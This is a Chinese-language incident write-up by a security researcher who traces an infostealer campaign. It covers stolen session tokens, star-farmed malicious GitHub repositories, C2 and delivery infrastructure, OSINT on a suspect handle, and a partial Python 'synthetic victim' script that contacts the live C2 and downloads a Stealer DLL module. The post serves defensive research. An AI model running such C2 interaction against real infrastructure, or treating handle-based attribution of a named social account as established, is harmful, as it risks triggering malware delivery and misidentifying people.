这些持续发生的异常带来了一个很让人不安的问题:我真的已经把恶意软件清干净了吗?我一次又一次回头检查主机,看看是不是漏掉了另一个可执行文件、持久化机制、注入组件或第二阶段 payload。账号还在被滥用,“清理不彻底”自然是最容易想到的解释。
但随着证据越来越多,另一种解释逐渐变得更合理。受影响的服务,正好都是工作站上已经存在认证状态的服务。很多时候,我从浏览器打开它们甚至不需要重新登录,浏览器里已经有有效 session、可信设备状态、token 或其他认证材料。
我还在 ChatGPT、Steam 等服务上发现了来自其他地理区域的可疑已认证会话,即使这些服务都启用了 MFA。MFA 保护的是登录流程,但如果已经认证过的会话 bearer material 被偷走且仍然有效,它并不会自动让这些会话失效。Steam 给出了一个尤其有用的例子:安全页面显示,可疑浏览器活动关联到一个最初建立于 8 月 3 日 的授权,而那甚至早于感染日期。
这和“复用之前已经授权的浏览器状态”很吻合,并不一定需要重新知道密码、再绕过一次 Steam Guard。整个时间线也因此更合理了:出现一次新的滥用行为,不代表主机又被新入侵了一次。另外,还需要考虑应用自身保存的认证材料。有些工具会在本地保留可复用凭据。具体文件、存储方式和保护措施因产品而异,不能假设每个安装环境都一样。后面的模块分析,会把这些原本只是“可能”的东西,变成具体的采集目标。综合来看,更可能的解释是:
后续持续发生的账号滥用,主要是最初入侵期间被窃取的认证材料所造成的后果,而不是 RAT 仍然持续控制着我的机器。
清掉恶意软件,不等于净化
我最初的响应明显过于围绕主机展开,主要关注的是:
- payload 还在跑吗?它在哪里建立了持久化?
- 重启后是谁把它重新拉起来?还有没有额外副本?
- C2 连接还活着吗?
这些问题都没错。但盲区同样让人不安:
- 恶意软件被删除之前,已经有什么东西被偷走了?
- 哪些认证材料仍然有效?哪些 session 需要撤销?
- 考虑到已经被攻陷的内容,后面还可能出现什么后果?
回头看,我不觉得这只是“漏了一个 checklist 项”这么简单。我的响应顺序在内部逻辑上其实是自洽的:中断执行、理解 loader、定位 payload、保存样本、识别持久化、移除 foothold、验证它没有回来。几乎每一步都围绕同一个目标优化:移除攻击者的主机级访问。从进攻安全角度,这个目标非常符合直觉。在红队行动里,凭据、cookie或令牌通常是一条路,而不是终点。我拿到它,是因为它可以让我去别的地方认证、提权、横向移动,或者继续朝最终目标推进。它的价值通常和它能开启哪条访问链绑定。但InfoStealer 生态的经济模型完全不同。凭据和已认证会话并不一定只是“继续控制原始机器”的中间步骤。它们本身就可以成为库存。可以被收集、打包、分发、出售,或者交给一个从没接触过那台被攻陷主机的人去消费,甚至是在最初的恶意软件操作者早就消失之后。所以,对手根本不一定需要回来。这就是我最初 threat model 的错位。我问的是:攻击者还能不能继续在这台机器上行动?但净化还需要另一个问题:即使主机级访问已经被消灭,还有什么东西依然处于被攻陷状态?很遗憾,删除 RuntimeBroker.exe,并不能自动修复那些已经离开机器的东西。
这里还有一个很重要的不对称:清除持久化会给你非常直接的反馈。删掉恶意任务、重启、看到可执行文件没回来;切断 C2,看连接消失。每一步都会让你直观地觉得“有一部分问题已经解决了”。凭据修复则完全不同。撤销被窃会话、轮换密钥、重置密码、登出所有会话,通常都不会给你一种“幸好我做了这一步”的明确确认。攻击者可能不会立刻使用某个令牌或凭据,但风险从它被偷走那一刻就已经存在。如果漏掉这一步,问题可能会安静地潜伏很久。后果可能几天后才出现,在另一个平台,以一种乍看和最初入侵毫无关系的形式出现。
这正是我遇到的情况。
恶意仓库 → PowerShell 投递 → RAT 执行
↓
认证材料被收集
↓
主机持久化被移除
↓
被窃取的认证材料在其他地方仍然有效
↓
访问被向下游分发或消费
↓
不同服务在不同时间被滥用
我的进攻安全背景当然还是非常有用的。我在相对较短的时间里完成了对 stager 和载荷的初步分析,切断 C2,清掉持久化。后来我和一个同样做网络安全的朋友聊这件事,他也觉得我的反应速度很快,还开玩笑说,他公司可能得花五个人日才能做完我在第一轮响应里干掉的这些事。但我漏掉了一个更根本的问题。威胁行为者并不是“邪恶版红队”或者“邪恶版渗透测试人员”。他们就是威胁行为者,按照自己的激励机制行动。如果路上拿到的东西本身已经有价值,他们根本不需要追求什么宏大的最终目标。对他们来说,几乎任何有用的战利品,都可以变成资产。
终端之外,继续追踪这条线
这次事件当然很让人不爽,但我必须承认,它成了我职业生涯里非常有价值的一课,甚至可能成为一个长期影响我方法论的转折点。到这个时候,主机级访问和被攻陷的凭据最终都已经处理完了,我也终于可以把更多时间花在这个网络犯罪团伙本身。而且我很想让他们知道:你们入侵、折腾的是一个黑客,我怎么可能就这么放过你们?
在必须遵守的边界之内,我仍然有很多事情可以做,足够给他们添点麻烦,让他们日子没那么舒服。所以,让我们把时间倒回事件最开始。这一次,不再只是跟在他们屁股后面清理垃圾。让我们当一次寻血猎犬,沿着他们的信息、基础设施和活动一路追下去。
第一块拼图:恶意仓库
最初的 artifact 是 MillipedeLoad/Adobe-Acrobat-Pro 仓库。第二次回头看时,我保留下来的截图变得更有用了:上面显示有 303 个 Star 和 17 个 Fork,但账号过去一年只有 5 次 contribution。表面上的项目热度,和能看到的真实开发活动,讲的是完全不同的故事。
一个 Star 很多、Commit 很少的仓库,并不会自动等于恶意。成熟项目可能是镜像、导入,或者主要在其他地方维护。但在这里,这种解释还必须同时解释另外两件事:README 把人引进了恶意 PowerShell 链,而仓库真正的源码内容几乎完全无法支撑它声称自己是什么软件。到这个时候,我已经不再相信它的 Star 和 Fork 数。结合上下文看,它们更像是人为制造出来的“热度”,某种 GitHub boost / farming,用来让仓库看起来更可信。
但这里立刻出现了一个问题:一些相关账号和仓库已经消失了。最方便的调查方式,打开 profile、看文件、顺着链接继续点——已经不是每个地方都还能用。于是我从那些还活着的对象向外扩展:缓存搜索结果、幸存 Fork、Git 历史,以及 Ecosyste.ms Timeline 这类展示 GH Archive 数据的公开事件归档。Web Archive 当然也是一个方向,但“向归档服务发起查询”本身,并不等于真的恢复出了一份页面快照。所以我从一开始就接受一个现实:原始仓库可能永远无法完整恢复。幸运的是,我其实也不需要完整恢复。元数据、特征、命名模式,以及其他残留痕迹,本身就已经能提供大量有价值的信息。
而且我并不相信,我遇到的恶意仓库是一个孤例。它背后大概率还有更大的恶意仓库网络,而这些仓库之间应该共享一些可识别的相似点:文件命名习惯、stager URI、重复使用的 README 指令、幸存 Fork、账号关系,以及其他运营模式。在这个假设下,调查的重点不再是“把某一个已经删掉的仓库恢复出来”,而是“找到它的亲戚”。这个思路效果很好。随着恢复和模式匹配继续进行,一个更大的网络开始浮现。
名字变了,本质没变
第一批有价值的仓库族,表面上覆盖了完全不相关的产品:
| 仓库 | 宣传主题 | 恢复出的关联 |
|---|---|---|
MillipedeLoad/Adobe-Acrobat-Pro |
PDF 软件 | 最初事件中的诱饵;父仓库历史被幸存 Fork 保留下来 |
GulfMouseVice/crypto-miner-gpu-cpu-hashrate |
加密货币挖矿 | shells[.]su 投递指令,以及相似的仓库生命周期 |
Binaryunenhance/instagram-liker-bot-auto-like-software-download |
Instagram 自动化 | 使用 gitbase[.]su 的平行投递指令 |
HyperIllusionistTap/Whale-Tracker-Analytics |
市场分析 | 保留了同模板投递痕迹;幸存 Git 证据相对不完整 |
它们确实共享一些特征:/powershell/Genesis.ps1 路径、高度相似的远程执行指令、堆满关键词的 README、极小的文件树,以及根本不像真的实现了宣传功能的源码。早期快照里,几个仓库即使有数百个 Star,总体内容也只有大约 3–4 KB。
一个尤其有意思的细节,是语言会长。一个仓库放 temp.cpp,另一个放 temp.py,还有一个放 temp.cs。乍看上去,好像分别是 C++、Python 和 C# 项目。点进去以后,内容却完全一样:
# LINK IN REPOSITORY
保留下来的 Git blob ID 也完全一致:
f7aa7c960f15059c892e4558d44ad9ac70f46cba
三种看起来不同的实现语言,一条让你去别处的指令。这个徽章已经不是软件开发的证据,而只是包装的一部分。成本很低,却足以让一个以 README 为核心的投递页面更像正常代码仓库。完全一致的 blob 只能证明内容被复用,不能证明作者是谁。这样的短占位符太容易复制,本身也不够独特,无法独立支撑恶意活动的属性。真正有意义的是它周围的一致性:相同的投递路径、相同的“薄代码”结构、类似的 README 指令,以及紧随其后的推广时机。
仓库年龄是真的,但呈现出来的“历史感”具有误导性
提交历史又补上了一个很重要的修正:一个仓库完全可能已经存在好几个月,但这几个月里根本没有任何像现在宣传的软件内容。保留下来的 GulfMouseVice 历史,从 3 月 31 日开始时,README 只有一行标题:# fljghchq。到了 8 月 16 日,README 才被替换成一份明显更完整的 miner 宣传,其中包含 Genesis 投递命令。几分钟后,又补上了一个纯装饰用的 Python 文件。
Adobe 诱饵也有类似时间线:早期是一个极简 README,事件发生前不久才改成恶意内容,并加上占位源码。Instagram 分支则在 8 月更早的时候出现了平行的 gitbase[.]su 指令。
| 记录到的变化 | 保留 Commit 数据中的时间 | 为什么保留这条记录 |
|---|---|---|
| Adobe 恶意 README | 8 月 16 日 18:12:06 UTC | 让这个旧仓库真正变得危险的内容变化 |
Adobe temp.cpp 占位文件 |
8 月 16 日 18:14:34 UTC | 紧随其后的装饰性“源码语言”贡献 |
| Miner 恶意 README | 8 月 16 日 19:45:40 UTC | 大约 94 分钟后出现的类似转换 |
Miner temp.py 占位文件 |
8 月 16 日 19:48:28 UTC | 同样只隔很短时间就补上装饰性源码文件 |
结合时间线和模式看,这些仓库虽然几个月前就已经创建,但中间很长时间基本没有活动。一个合理的解释是:这个团伙希望“仓库年龄”本身看起来更可信。然后到了某个时间点,它们才被更新成现在这种样子,再加入恶意安装流程,用来更好地欺骗潜在受害者
恶意 GitHub 网络:Bot、恶意仓库与刷热度
这些 Fork 有两方面价值。第一,它们保存了证据。Adobe 的幸存 Fork,例如 dev-Warrior65621 和 zx-King7147447733lion,以及 mad-Plasma-Mind9 等账号下的 miner Fork,即使原仓库已经不可访问,仍然保留了父子关系和 Git 历史。第二,它们的时间也帮助还原了仓库是如何被推广的。在几个保留下来的样本里,Fork 分别大约出现在 weaponization 或最终修改后的 12、21、33 分钟。这个模式说明,仓库准备好之后往往很快就会进入推广。
账号命名也开始越来越眼熟:单词和数字组合,再经常接一个看起来很技术的后缀,例如 -hub、-bin、-cli、-pwn、-cfg。例子多到一定程度后,它们越来越不像互不相关的真实用户名,更像是同一套命名程序批量吐出来的结果。单看命名模式当然不算特别强的证据。真正让它变得有意思的是,同样的命名风格一直和同样的行为绑在一起出现:新建或内容极少的账号、刚武器化仓库附近高度集中的时间窗口、类似的 Fork 活动、相同的投递模板。到这个时候,我已经不是在看一堆可疑仓库了。我看到的是一张网络。
下一轮扩展,我围绕交替 pivot 来做:
仓库 → Star/Fork 账号 → 这些账号的其他仓库 → 仓库所有者 → 更多已记录交互
图里的边必须区分类型。owns 表示平台记录的所有权,starred 表示一个公开事件,fork 则表示 lineage。其中一个历史仓库成了非常有价值的种子:
gitlerzov1488gitler-cmd/RUST-2026-A-I-M
持有者的用户名已经足够不寻常,值得单独调查,后面我会回来继续追它。对这张图来说,它第一时间真正有价值的是周围的事件历史。保留下来的 Timeline 记录显示:2026 年 1 月 7 日 17:48,Owner 自己先 Star 了仓库;随后在页面显示的 19:41–19:44 这三分钟里,又有 10 个其他账号 给它 Star。三分钟,并不是十个互不相关的人“恰好发现同一个冷门仓库”所需要的一个很宽松的时间窗口,尤其是其中几个账号,又在同样的几分钟里出现在其他相同项目周围。事件图里保留下来的十账号:
fastjack73leontrq finklousen59upy
pripak-minibearqie greyjulianbell491vdf
stne-100ye7 funnyway9m51
bambino66lamb4bn urch-arrow376
laner-mrgood306 brom-100cmh
glas2000wsz 下面的两个优化项目,和这批账号共享了其中四个。其他反复出现的目标还包括 Rust 和 Valorant Cheat、Counter-Strike 换肤器、Authenticator、性能工具等。真正有信息量的,不是某一个项目看起来多么吓人的标题,而是这些反复出现的账号。
这种活动还会跨时间重复。1 月 19 日的一波围绕 Cheat 和 Executor 主题;1 月 28 日,两名 seed stargazer 在 13 分钟内推广了同一个 Authenticator;2 月 6 日,一个账号在大约一分钟里连续 Star 了多个游戏/性能项目。2 月 8 日,一个市场分析助手又和另一个游戏相关目标同时出现。这已经不能简单解释成“喜欢游戏的人有时候会 Star 游戏仓库”。这是同一小批账号,反复给本来互不相关的软件主题制造类似的集中热度。
第一轮有界扩展包含 47 个节点、67 条边:28 个账号节点、19 个仓库、48 条 Star 关系、19 条所有权关系。第二轮扩展到了 125 个节点、150 条边,其中包括 54 个账号节点、45 个仓库、14 个证据节点、6 个 skill 变体,以及 6 个其他类型对象。抽样的 25 个当前 Fork 已经包含在仓库数量中。
这张可视化图并不是他们恶意 GitHub 运营的完整表示。我依旧可能漏掉了一些特征,而且我主动停在第二轮有界扩展,没有继续做第三轮乃至更多。即便只看这个有限范围,网络已经比我最初预期大得多。如果把每条分支都继续追下去,它还能延伸多远,我只能想象。至少有一件事已经很明确:这不是一个小规模行动,这个团伙不能被低估。
IP、域名,以及基础设施自己泄露出来的东西
到这个时候,我已经掌握了足够多关于他们恶意 GitHub 运营的信息。接下来最自然的线索,就是他们的 IP、域名和更广泛的基础设施。
主机侧调查其实已经暴露出了不止一种服务器角色。shells[.]su 属于投递和截图收集这一层;145.63.134[.]94 出现在原生载荷的运行时通信中;平行仓库模板里又出现了 gitbase[.]su。
我没有把它们全部粗暴地标成 C2,而是把这些角色分开。这样更容易看清基础设施到底是怎么拼起来的:有些系统负责投递载荷,有些负责接收被窃取的数据,还有一些后来出现在账号滥用或推广活动里。围绕 192.162.199[.]184 的历史记录尤其有用。调查材料把它和 shells[.]su 联系在一起,也记录了更早期的域名,包括 verificator[.]cc。后续的网络报告还把 genesis-hub[.]cc 记录在同一个托管集群中。这些观察让一个表面入口不断变化的基础设施,出现了连续性。细节可以参考:
- https://phishdestroy.io/domain/verificator.cc/
- https://gridinsoft.com/online-virus-scanner/url/verificator-cc
- https://phishdestroy.io/domain/genesis-hub.cc/
- https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc
当然,这类信息也有边界。一个 IP 在不同时间可以托管不同域名,共享或重复使用基础设施,并不能自动证明背后是同一个租户。真正有用的单位,是把主机、服务、域名、路径和观测时间放在一起看。
保留下来的域名研究显示,verificator[.]cc 注册于 7 月 27 日,genesis-hub[.]cc 注册于 7 月 30 日,两者在历史上都和同一台 .184 服务器有关。shells[.]su 随后在 8 月 13 日出现,诱饵仓库则在不久后完成武器化。那些更早的威胁情报记录真正有价值的地方,并不只是某个信誉服务给它画了一个红色警告图标,而是说明:在我执行那个具体诱饵之前,这台主机就已经存在相关的恶意托管背景。
透露过于详细信息的Windows服务器
前面已经知道,IP 145.63.134[.]94 是 C2 服务器,而 192.162.199.184 是投递服务器。但两台机器都把远超必要范围的服务暴露到了互联网,而不是采用 IP 白名单、本地监听或隧道访问之类的方式。Shodan 保存了两台主机的快照:
暴露 135、445、3389 之类的端口,当然不代表系统就一定能被入侵,但我也很难把这称作很好的 OPSEC。一些服务返回很详细的响应信息,会泄露对威胁猎手有用的指纹,甚至可能给其他盯上这套基础设施的攻击者留下一些面包屑。这里还有点讽刺:我是红队,我一样会中招;他们也是攻击者,但这可不代表没人能打他们哈 lol
那个怎么都看着不自然的Handle
shells[.]su 的记录中保留了一个注册联系人:
krassavchik13370@gmail[.]com
记录的注册时间是 2026 年 8 月 13 日 19:17:32 UTC。对 gitbase[.]su 的调查又带出了另一个被报告的联系人
gitlerzov1488gitler@gmail[.]com
一个联系字符串当然不能证明真实法定身份。它可能是一次性邮箱、被盗账号、误导性元数据,甚至是故意留下来的假线索。但这个名字和周围那些明显像随机生成的 GitHub 用户名差别很大。而我此前已经在一个历史仓库 Owner 上见过几乎完全一样的版本:
WHOIS contact local part: gitlerzov1488gitler
Historical GitHub owner: gitlerzov1488gitler-cmd
好吧,这个 Handle 相比其他随机感十足的 Handle,的确里显得格格不入。核心字符串是 gitlerzov1488。完整邮箱的用户名部分在结尾又重复了一次 gitler,而 GitHub Owner 则加了 -cmd。它足够具体,可以拆成更小的片段和精确组合去搜索,而不需要把所有名字里只要带 gitler 或 1488 的账号都算成命中。
“Gitler” 是对 Hitler 的影射,而 “1488” 通常与种族主义和白人至上主义意识形态相关。考虑到各类在线社区的审核力度,以及公开表达这类观点可能招来的抵制和尴尬,我不太相信围绕这些词构造、还能长期存活的 Handle 会多到哪里去,虽然肯定也不至于只有三五个。
gitler1488 这个组合应该会稀有得多,可能只出现少量几次,但大概仍然谈不上唯一,因为在某些亚文化圈子里,这依旧算是一个比较直白的组合。不过加入 ZOV 之后,情况就明显不一样了。它是一个区分度高得多的短字符串,让整个复合 Handle 变得异常稀有,在现实中甚至有可能近似唯一。我的问题是:这个Handle,是否和一个存在时间更长的个人发生了重叠。即使最后拿不到真实姓名、地址、国籍或雇主,这本身也会是一个很有意思的 OPSEC 观察。
通过搜索引擎和 Sherlock 之类的工具,一个 TikTok 账号引起了我的注意:它的 Handle 恰好就是 gitlerzov1488,显示名为 “Mango kartel 66”。这个用户的视频主题比较杂,其中 Minecraft 相关内容尤其值得注意。
在一段 Minecraft 视频里,游戏角色站在一艘做成纳粹卐字符形状的船上,评论区也吸引了一些持有类似意识形态的人。
既然 Minecraft 是他频道里一个比较关键的元素,我又交叉搜索了 Minecraft 相关社交平台,并找到了两个潜在匹配。
我还在 KLauncher 社区找到了一个命中。
除了精确的 gitlerzov1488,我也搜索了各种变体和相关组合,例如 1488gitler1488。但到最后,我仍然缺少一些能把所有东西真正连起来的桥。
即便是 gitlerzov1488,我也不认为这是一个会被很多毫无关系的人各自独立想到的 Handle,所以现有的匹配当然都是很有价值的线索。但我依旧无法证明它们全部属于同一个人,也不能仅凭这些就做出确定归因。也许这就是 OSINT 本身的不确定性。有时候,整个模式会越来越像那么回事,但你最想要的最后那块拼图,就是迟迟不出现。
这种反差仍然让我有些困惑。大多数 GitHub 账号看起来都很一次性和随机,唯独这个账号既和一个非常有辨识度的邮箱用户名部分重叠,又对应到了一个有更早活动记录的公开个人。这会不会是一次早期 OPSEC 失误,而后面那些随机化账号正是为了掩盖这个失误?这是一个值得记录的合理假设。事实上,GitHub上恶意仓库和用户的大规模互相挽尊事件早在 1 月就已经出现,比我 8 月感染早了好几个月。现有数据并没有展示一个干净的“先用个人 Handle,后来再切换成匿名水军大军”的转变。这个账号池可能用于推广、轮换,也可能来自共享的商业服务,或者同时承担好几种用途。
重访样本:当 IOC 还不是全部答案
在事件发生期间,1.exe 对我最有价值的地方,是它能回答一些直接可行动的问题:它把自己复制到哪里、什么东西会重新拉起它、它在连接谁,以及哪些主机侧痕迹需要删除或保留。AI 辅助分析确实缩短了这个过程,但它并不是对整个程序的一次完整重建。
在应急处理和净化任务结束之后,一个尴尬的不一致仍然存在。后续账号事件强烈暗示发生了信息窃取;而对这个可执行文件的分析已经找到了持久化、C2、任务下发、混淆以及进程/内存操作,却始终没有看到一个明显且完整的实现,足以解释后来表现出来的浏览器和应用数据窃取。这里有几种可能:相关代码可能被混淆藏住了;也可能在快速分诊时被漏掉了;又或者它根本不在这个可执行文件里。第三种可能,比我最初给它的重视程度更值得认真对待。到了这里,威胁情报和逆向分析也不再是两条独立工作流:基础设施和任务分发线索告诉我该去二进制里找什么,而二进制又告诉我,哪些观测结果可以用来区分这些互相竞争的解释。
你好,我是你的新受害者,不过是假的
对协议的分析最终带出了几份使用伪造主机画像的观测脚本。思路很简单:我想理解投递和任务分发行为,但不想再送给对方一台真实主机,更不会执行它返回来的任何东西。客户端只需要记录任务消息,不需要真正实现对方要求的任务执行。它不需要浏览器凭据、真实文件,也不需要真的具备信息窃取能力,就足以让我看到控制通道究竟在告诉客户端做什么。
记录到的流程很熟悉:客户端先注册,服务器通过 getinfo 请求信息,然后客户端返回一份伪造画像。接着,那条改变了分析方向的消息出现了
python .\genesis_synthetic_victim_suite.py honeypot `
>> --id A1B2C3D4 `
>> --user jsmith `
>> --os "Windows 11 Pro" `
>> --av "Windows Defender" `
>> --observe 600 `
>> --logfile c2_406.jsonl
[2026-09-08T03:49:08+00:00] PROFILE Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender'
[2026-09-08T03:49:08+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:49:08+00:00] SEND Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0'
[2026-09-08T03:49:09+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:49:09+00:00] SEND Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880'
[2026-09-08T03:49:09+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:49:09+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:49:09+00:00] MODULE-OFF Task 'Stealer' recorded; TCP/408 collection is disabled
[2026-09-08T03:49:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:27+00:00] SEND Sent application-layer pong
[2026-09-08T03:49:42+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:49:42+00:00] SEND Sent application-layer pong
这就是调查过程中真实捕获到的任务文本。任务名本身已经非常直白,但当时我的探测仅限于 406 端口,所以仍然拿不到足够多的线索,去理解这个 Stealer 任务到底是怎么工作的。
重新回到最初那个可执行文件之后,分工终于清楚了:406 端口是 WebSocket tasking 通道,408 端口则通过另一条 HTTP 连接提供模块。 task 消息本来就不是用来把整个模块字节塞进去的。当我实现了对 408 端口的模拟交互后,最终捕获记录变成了这样:
python .\genesis_synthetic_victim_suite.py honeypot `
>> --capture-modules `
>> --capture-dir captured_modules `
>> --logfile c2_full.jsonl
[2026-09-08T03:51:03+00:00] PROFILE Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus'
[2026-09-08T03:51:04+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols
[2026-09-08T03:51:04+00:00] SEND Registered synthetic victim: 'ready;0EF155DE;version;1.0.0'
[2026-09-08T03:51:04+00:00] RECV C2 command [GETINFO]: 'getinfo'
[2026-09-08T03:51:04+00:00] SEND Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880'
[2026-09-08T03:51:04+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2'
[2026-09-08T03:51:04+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2'
[2026-09-08T03:51:04+00:00] MODULE-GET GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE
[2026-09-08T03:51:05+00:00] MODULE Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
[2026-09-08T03:51:12+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:12+00:00] SEND Sent application-layer pong
[2026-09-08T03:51:27+00:00] RECV C2 command [PING]: 'ping'
[2026-09-08T03:51:27+00:00] SEND Sent application-layer pong
这一次,样本是真的送上门了。新文件是一个原生 x64 DLL,而不是另一份 533,504 字节的 1.exe。原始捕获哈希为:
9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3
DLL 自己的报告生成代码中包含 “Redhive Stealer” 这个标签。它的初始化逻辑还会先检查 Global\RuntimeBrokerAds,也就是此前已经和原始 loader 关联起来的 mutex。随后再使用 Global\StealerLib 控制自身实例。这比“下载下来的文件被叫作 Stealer”这种表面现象,是强得多的代码级关联。现在,整个架构终于更连贯了:
Persistent loader / RAT
↓ receives task
Separately supplied Stealer DLL
↓ collects and organizes data
Independent result-upload channel
这种模块化思路很像后渗透框架:把通信和调度留在常驻组件里,再根据具体任务下发所需要的能力。实际捕获到的对象就是一个 DLL。这也改变了我此前一个很“安心”的发现所代表的意义。所有已识别的自启动项完全可以都指向同一个可执行文件,但这个可执行文件仍然能够在运行时获取额外能力。我用来模拟受害者的脚本如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Genesis-SU Synthetic Victim Suite
Integrated defensive research utility with four functional modules:
delivery Synthetic delivery/staging callbacks + fake screenshot upload
honeypot TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection
workflow delivery -> 406 honeypot -> optional 408 collection using one identity
exfil-* Controlled TCP/1488 protocol laboratory using synthetic ZIP content only
Safety invariants:
* All victim data is synthetic.
* Attacker-supplied responses/tasks are recorded only and never executed.
* Downloaded modules are never loaded or run.
* Valid PE modules are neutered before disk I/O and stored read-only.
* Synthetic screenshots are generated in memory; the analyst desktop is never captured.
* TCP/1488 client mode is restricted to loopback/private controlled targets.
* No brute-force, flooding, service enumeration, or exploit logic is included.
"""
from __future__ import annotations
import argparse, base64, hashlib, io, ipaddress, json, os, random, re
import secrets, socket, ssl, stat, string, struct, threading, time
import urllib.error, urllib.parse, urllib.request, zipfile, zlib
from dataclasses import asdict, dataclass
from datetime import datetime, timezone
from pathlib import Path, PurePosixPath
from typing import Iterable, Optional
DEFAULT_DELIVERY_BASE = "https://shells.su"
DEFAULT_C2_HOST = "145.63.134.94"
DEFAULT_CONTROL_PORT = 406
DEFAULT_TASK_PORT = 408
DEFAULT_EXFIL_PORT = 1488
WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
WS_KEY = "dGhlIHNhbXBsZSBub25jZQ=="
BOT_VERSION = "1.0.0"
CAMPAIGN_ID = "36763880"
DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
MAX_MODULE_BYTES = 0x300000
MAX_HTTP_HEADER = 65536
MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024
MAX_EXFIL_ENTRY = 512 * 1024
MAX_EXFIL_ENTRIES = 64
AUTH_MARKER = b"auth_ok"
WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2
WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA
SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-")
class Logger:
def __init__(self, jsonl_path=None):
self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None
self.lock = threading.Lock()
@staticmethod
def iso():
return datetime.now(timezone.utc).isoformat(timespec="seconds")
def event(self, tag, message, **fields):
with self.lock:
print(f"[{self.iso()}] {tag:<11} {message}", flush=True)
if self.fp:
rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields}
self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n")
self.fp.flush()
def close(self):
if self.fp:
self.fp.close()
@dataclass
class VictimProfile:
hostname: str = ""
username: str = ""
os_version: str = ""
av_product: str = ""
bot_id: str = CAMPAIGN_ID
checkin_id: str = ""
country: str = ""
def randomize(self):
if not self.hostname:
self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7))
if not self.username:
self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"])
if not self.os_version:
self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"])
if not self.av_product:
self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"])
if not self.checkin_id:
self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}"
if not self.country:
self.country = random.choice(["US", "CA", "DE", "GB", "AU"])
return self
def checkin_message(self):
return f"ready;{self.checkin_id};version;{BOT_VERSION}"
def info_message(self):
return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}"
def build_profile(args):
return VictimProfile(
hostname=getattr(args, "hostname", "") or "",
username=getattr(args, "user", "") or "",
os_version=getattr(args, "os_version", "") or "",
av_product=getattr(args, "av", "") or "",
bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID,
checkin_id=(getattr(args, "id", "") or "").upper(),
country=(getattr(args, "country", "") or "").upper(),
).randomize()
def sha256_bytes(data):
return hashlib.sha256(data).hexdigest()
def read_only(path: Path):
try:
os.chmod(path, stat.S_IRUSR)
except OSError:
try:
os.chmod(path, stat.S_IREAD)
except OSError:
pass
def safe_component(value, max_len=64):
return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value)
def response_preview(data, limit=240):
return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else ""
# ---------------------------------------------------------------------------
# Module 1: delivery / staging probe
# ---------------------------------------------------------------------------
def _png_chunk(kind, payload):
crc = zlib.crc32(kind)
crc = zlib.crc32(payload, crc) & 0xFFFFFFFF
return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc)
def make_synthetic_desktop_png(width=960, height=540):
"""Generate a fake desktop-like PNG without reading the analyst desktop."""
width = max(320, min(width, 1920)); height = max(180, min(height, 1080))
rows = bytearray()
for y in range(height):
rows.append(0)
for x in range(width):
r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height)
wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5
if wx0 <= x <= wx1 and wy0 <= y <= wy1:
r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240))
if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20:
r, g, b = 220, 224, 229
if wx0 + 180 <= x <= wx1 - 25:
if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244
elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220
